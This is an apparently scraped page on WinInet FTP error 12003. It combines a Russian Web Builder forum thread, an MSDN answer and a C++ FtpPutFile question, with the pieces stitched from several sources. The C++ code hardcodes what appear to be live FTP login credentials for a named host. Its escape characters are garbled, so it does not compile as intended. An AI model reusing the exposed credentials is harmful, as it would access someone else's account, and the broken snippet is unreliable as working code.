Я решил эту проблему, динамически загрузив старую версию библиотеки DLL, которую я нашел в папке SxS.


0

Luiz Felipe
11 Фев 2014 в 04:02

Правила форума
1. Название темы должно кратко описывать суть вашего вопроса, темы типа: «Помогите», «Почему», «Что это», «Что-то глючит» — будут удаляться.
2. Задавая свой вопрос, постарайтесь предоставить максимум информации о проблеме, если есть возможность, приложите шаблон проекта *.wtp.
Подробнее: Правила создания новых тем и ответов на существующие темы.
Данный форум — это место обсуждения вопроса, а не техподдержка в классическом смысле. Все участники форума Web Builder по-русски с удовольствием вам помогут, если это будет в их силах.

Alex42421

Ошибка 12003

Сообщение Alex42421 » 13 ноя 2013, 23:53

Добрый вечер. Не могу опубликовать свой сайт. Ранее его создал на программе веб билдер и ранее успешно опубликовывал, но буквально вчера в полночь при моей попытке опубликовать сайт стало выдавать следующую ошибку ( посоветуйте что делать ):

13/11/2013 23:48:39.580 *** START OF PUBLISH ***
13/11/2013 23:48:39.584 Scanning publish folder…
13/11/2013 23:48:39.595 Found 60 file(s).
13/11/2013 23:48:39.596 Initializing FTP connection…
13/11/2013 23:48:39.607 Checking host…
13/11/2013 23:48:39.662 Host was successfully parsed.
13/11/2013 23:48:39.662 Connecting to server75.hosting.reg.ru…
13/11/2013 23:48:39.663 Using PASV mode.
13/11/2013 23:48:39.778 Succesfully connected.
13/11/2013 23:48:39.784 Current directory is ‘/’
13/11/2013 23:48:39.784 Setting remote folder to www/allforflowers5.ru…
13/11/2013 23:48:39.800 INFO: 550 Create directory operation failed.
13/11/2013 23:48:39.801 Uploading ‘callback.php’…
13/11/2013 23:48:39.911 Successfully uploaded file.
13/11/2013 23:48:39.913 Uploading ‘countdown_hours.html’…
13/11/2013 23:48:40.085 Internet Exception Error 12003
Details:
Сервер вернул расширенные сведения. 226 Transfer complete.
200 Switching to Binary mode.
13/11/2013 23:48:40.090 Closing FTP connection…
13/11/2013 23:48:40.093 Removing temporary files…
13/11/2013 23:48:40.138 Publish failed!
13/11/2013 23:48:40.140 *** END OF PUBLISH ***


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5235
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 14:27

FTP сервер недоступен

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:28

и что с этим можно сделать???


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5235
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 14:33

Alex42421 писал(а):и что с этим можно сделать???

проблема либо на вашей стороне, либо на стороне рег ру
если на вашей, то нужно проверить или заново настроить соединение
ввести заново параметры соединения с ftp и поставить внизу галочку!
Изображение
а вместо хоста написать IP адрес сервере где лежит ваш сайт
ip можно узнать из присланных настроек хостинга или пропинговать ваш сайт

возможна проблема у рег ру
тогда пишите в поддержку

и попробуйте соединиться с сервером через сторонний ftp клиент

Последний раз редактировалось anonimus 14 ноя 2013, 14:37, всего редактировалось 4 раза.

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:34

Спасибо, сейчас попробую.


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:48

настроил заново соединение, к сожалению безуспешно, выходит всё та же ошибка….


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5235
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 15:30

ПОПРОБУЙТЕ ДРУГОЙ фтп клиент, мы так выясним где проблема

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 16:35

это значит другой домен и хостинг приобрести?


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 14 ноя 2013, 17:17

Пробуйте winsock:
Изображение

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 22:59

нет, 7 винда и у меня такой штуки напротив тайм аута нет…. у меня 9 билдер


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 15 ноя 2013, 07:21

Обновляйся.

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 00:36

то есть 8 винду ставить??


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5235
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 17 ноя 2013, 00:41

Alex42421 писал(а):то есть 8 винду ставить??

тут кто-то обсуждал винду? :-):
билдер последний ставьте

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 22:44

уже обновился сейчас попробую


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 22:56

Ребята, спасибо, всё заработало.


Serega344

Re: Ошибка 12003

Сообщение Serega344 » 12 дек 2013, 19:52

Вечер добрый. Впервые пытаюсь опубликовать сайт. Но вылетает ошибка. Как быть? Помогите…

*** START OF PUBLISH ***
Scanning publish folder…
Found 14 file(s).
Initializing FTP connection…
Checking host…
Host was successfully parsed.
Connecting to mybiz.esy.es…
Using PASV mode.
Succesfully connected.
Current directory is ‘/public_html’
Setting remote folder to /public_html…
Succesfully created folder ‘images’…
Uploading ‘images/62444.jpg’…
Successfully uploaded file.
Uploading ‘images/img0002.png’…
Internet Exception Error 12003

Details:
Сервер вернул расширенные сведения.
226-File successfully transferred
226 0.632 seconds (measured here), 62.49 Kbytes per second
200 TYPE is now 8-bit binary

Closing FTP connection…
Removing temporary files…
Publish failed!
*** END OF PUBLISH ***


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 12 дек 2013, 21:01

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


superuzurpator

Re: Ошибка 12003  [РЕШЕНО]

Сообщение superuzurpator » 15 дек 2013, 21:22

Помогите, пожалуйста. Та же проблема. Раньше все выгружал без проблем. Настроек компа не менял, web builder в списке разрешенных программ фаервола.

Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5235
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 15 дек 2013, 21:27

superuzurpator писал(а):Помогите, пожалуйста. Та же проблема. Настроек компа не менял, web builder в списке разрешенных программ фаервола.

Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…

что за бред?
9 версия вышла гораздо ранее и если вы её купили, то кто вам мешает обновиться?

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: HTMLPLUSRU
==============


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 15 дек 2013, 21:52

superuzurpator писал(а):Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…

В пределах 9ой версии обновитесь бесплатно, качайте здесь

viewtopic.php?f=6&t=1398#p8678

и обновляйтесь без всяких оплат!

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!



Вернуться в «Предварительный просмотр и публикация.»

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и 0 гостей

Первое, что я делаю при устранении проблем с ftp, это пытаюсь заставить обычную программу ftp (например, filezilla или что-то еще) подключиться и выполнить ту же операцию на той же машине. Если он сможет подключиться, вы сможете увидеть журнал разговоров сервера в этом программном обеспечении, который даст вам хорошие параметры для работы. Если вы не можете подключиться, вы увидите в том же журнале, в чем может быть проблема.

Без уверенности, что без использования такого программного обеспечения, я думаю, что у вас проблема с подключением в обычном режиме, и вы должны быть в пассивном режиме (по существу проблема с брандмауэром). Вы можете передать INTERNET_FLAG_PASSIVE от второго до последнего параметра вашего вызова InternetConnect. Это переключит его в пассивный режим.

например

hFtpSession = InternetConnect(hInternet, "myohyip8.5gbfree.com", INTERNET_DEFAULT_FTP_PORT, "myohyip8", "WxqHjNGv", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

RRS feed

  • Remove From My Forums
  • Question

  • I am using WinInet to upload a file to an FTP server and keep getting error 12003. I am using passive mode so that’s not the reason. I couldn’t find any other reason for this error.

All replies

  • Hi,

    Thank you for posting here.

    For this issue, As far as I know that Connection to a non-Microsoft FTP server with WinInet FTP APIs may fail with error 12003.

    Here is solution for the error 12003.

    The above behavior may be avoided by not using the INTERNET_FLAG_PASSIVE flag in the InternetConnect or InternetOpenUrl API. When this flag is not used WinInet uses active semantics for the FTP connection, which avoids the return of the status code, which
    causes the parsing problem.

    For the description, the Microsoft has provided a document. I hope it would be helpful for you.

    https://support.microsoft.com/en-us/help/168492/prb-ftp-wininet-apis-report-error-12003

    Best Regards,

    Hart


    Please remember to click «Mark as Answer» the responses that resolved your issue, and to click «Unmark as Answer» if not. This can be beneficial to other community members reading this thread. If you have any compliments or complaints
    to MSDN Support, feel free to contact MSDNFSF@microsoft.com.

    • Edited by

      Wednesday, April 19, 2017 1:53 AM

Hello and good evening ,

This is centered for FTP File upload using C++. I have been trying to upload an FTP File and i get Error 12003 been searching out on the web, i havent seen anything useful.. seems annoying.

My code looks like this

  #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

#pragma comment (lib, "wininet.lib")

int main()
{
    HINTERNET hInternet;
    HINTERNET hFtpSession;

    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if(!hInternet)
    {
        printf("Error : %dn",GetLastError());
    }

    hFtpSession = InternetConnect(hInternet, "myohyip8.5gbfree.com", INTERNET_DEFAULT_FTP_PORT, "myohyip8", "WxqHjNGv", INTERNET_SERVICE_FTP, 0, 0);

    if(!hFtpSession)
    {
        printf("Error : %dn",GetLastError());
    }

    if (!FtpPutFile(hFtpSession, "C:\ivan.txt", "myivan.txt", FTP_TRANSFER_TYPE_BINARY, 0))
                {
                    printf("Error : %dn", GetLastError());
                }
        else{
            printf("File Upload Successful :)n");
            }
        InternetCloseHandle(hFtpSession);
       InternetCloseHandle(hInternet);

        system("PAUSE");
    return 0;
}

This has been giving me worries, i dont have a single Idea on where to go from here , seems to me like a file system error.

  • Ошибка файловой системы 2143322098 forza horizon 5
  • Ошибка файловой системы 12002
  • Ошибка файловой системы 214
  • Ошибка файловой системы 1073741819 виндовс 10
  • Ошибка файловой системы 2018374645 windows 10 как исправить